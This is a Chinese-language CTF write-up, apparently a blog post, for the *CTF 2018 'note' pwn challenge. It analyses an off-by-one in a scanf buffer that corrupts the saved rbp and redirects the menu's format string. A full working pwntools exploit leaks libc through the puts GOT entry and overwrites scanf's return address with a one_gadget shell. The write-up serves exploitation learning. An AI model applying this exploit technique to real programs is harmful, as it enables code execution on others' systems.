美文网首页
startctf_2018_note

startctf_2018_note

作者: pu1p | 来源:发表于2018-05-18 17:46 被阅读52次

0x00 背景

0x01 程序分析

1. checksec

[*] '/mnt/hgfs/games/startctf_2018/note/note'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

运行流程

主函数如下:

void __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *v3; // rax
  __int64 *v4; // [rsp-8h] [rbp-28h]
  int buf; // [rsp+Ch] [rbp-14h]
  const char *fmt; // [rsp+10h] [rbp-10h]
  char *v7; // [rsp+18h] [rbp-8h]
  __int64 savedregs; // [rsp+20h] [rbp+0h]

  v4 = &savedregs;
  sub_400C3D();
  fmt = "%d";
  openfile();
  v7 = readfile();
  show_menu();
  while ( 1 )
  {
    printf("> ", a2);
    a2 = (char **)&buf;
    if ( (signed int)_isoc99_scanf(fmt, &buf) <= 0 )
      break;
    switch ( buf )
    {
      case 1:
        printf("Note:", &buf);
        v7 = edit_note();
        break;
      case 2:
        a2 = (char **)v7;
        printf("Note:%s\n", v7);
        break;
      case 3:
        save_note(v7);
        puts("Saved!");
        break;
      case 4:
        fclose(stream);
        v3 = change_id((const char *)&g_str);
        unlink(v3);
        openfile();
        puts("Done!");
        break;
      case 5:
        if ( stream )
          fclose(stream);
        exit(0);
        return;
      default:
        puts("Invalid choice");
        break;
    }
  }
  exit(0);
}

首先输入id, 程序将其保存在一个全局变量里面. 然后用户可以选择不同的功能, 执行对应的函数. 因为这道题的利用过程只需要使用main函数和 edit_note函数, 所以其它的函数就不分析了.
edit_note:

char *edit_note()
{
  char s; // [rsp+0h] [rbp-100h]

  _isoc99_scanf("%256s", &s);
  return strdup(&s);
}

0x02 漏洞分析

可以看到edit_note中有一个off_by_one漏洞, 若果输入256个字符的话就可以覆盖ebp的低字节为\x00:
进入edit_note之前:

*RBP  0x7ffd44e50e78
*RSP  0x7ffd44e50e58

读取256个a之后退出edit_note之后:

*RBP  0x7ffd44e50e00
*RSP  0x7ffd44e50e58

可以看到rbp的最低字节被覆盖为了\x00,

0x03 利用过程

我们利用上面的漏洞就可以控制读取用户选项的格式化字符串了(fmt rbp-10h).我们可以将其修改为"%s". 同时因为读取的输入也是根据rbp寻址的(buf [rbp-14h]), 于是我们就可以用通过控住输入的字符串来覆盖 v7 为puts 的got表地址, 从而得到libc的基址. 我自己做题的时候就做到了这儿, 因为这道题有一个特点:主函数没有return, 而是直接通过 exit 退出的. 所以我没办法ret. 后来看官方wp才意识到我漏了一个细节: 覆盖完rbp低字节后:rbp就比rsp小了, 这也就意味着我完全可以覆盖rsp附近的值: 我可以覆盖scanf的返回地址!, 后面的就很简单了, 用one_gadget找一下:

0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

根据之前得到的libc地址计算一下偏移覆盖即可.

0x04 exp

from pwn import *


io = process('./note')
elf = ELF('./note')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

puts_offset = libc.symbols['puts']
io.recvuntil("ID")

io.sendline("abc")

io.recvuntil(">")
io.sendline("1")

fmt_string = 0x0000000000401129 #"%256s"
puts_got = 0x0000000000601F90
io.recvuntil("Note:")
io.sendline(('a' * 168 + p64(fmt_string)).ljust(256, 'a'))
io.recvuntil(">")

io.sendline(p32(2) + p64(fmt_string) + p64(puts_got))

io.recvuntil('Note:', drop = True)

puts_addr = u64(io.recvuntil('\n', drop = True).ljust(8, '\x00'))
print("puts_addr: ", hex(puts_addr))

libc.address = puts_addr - puts_offset


io.sendline("a" * 0x64 + p64(libc.address + 0x4526a) + '\x00'*0x40)
io.interactive()

0x05 收获

官方wp用的是ret2csu, 学习了一波
总算用了次one_gadget
知道了fit()这个函数, 感觉很有用

<font color=pink>create by pu1p at 2018-05-18 17:18:10</font>

相关文章

  • startctf_2018_note

    0x00 背景 0x01 程序分析 1. checksec 运行流程 主函数如下: 首先输入id, 程序将其保存在...

网友评论

      本文标题:startctf_2018_note

      本文链接:https://www.haomeiwen.com/subject/xotndftx.html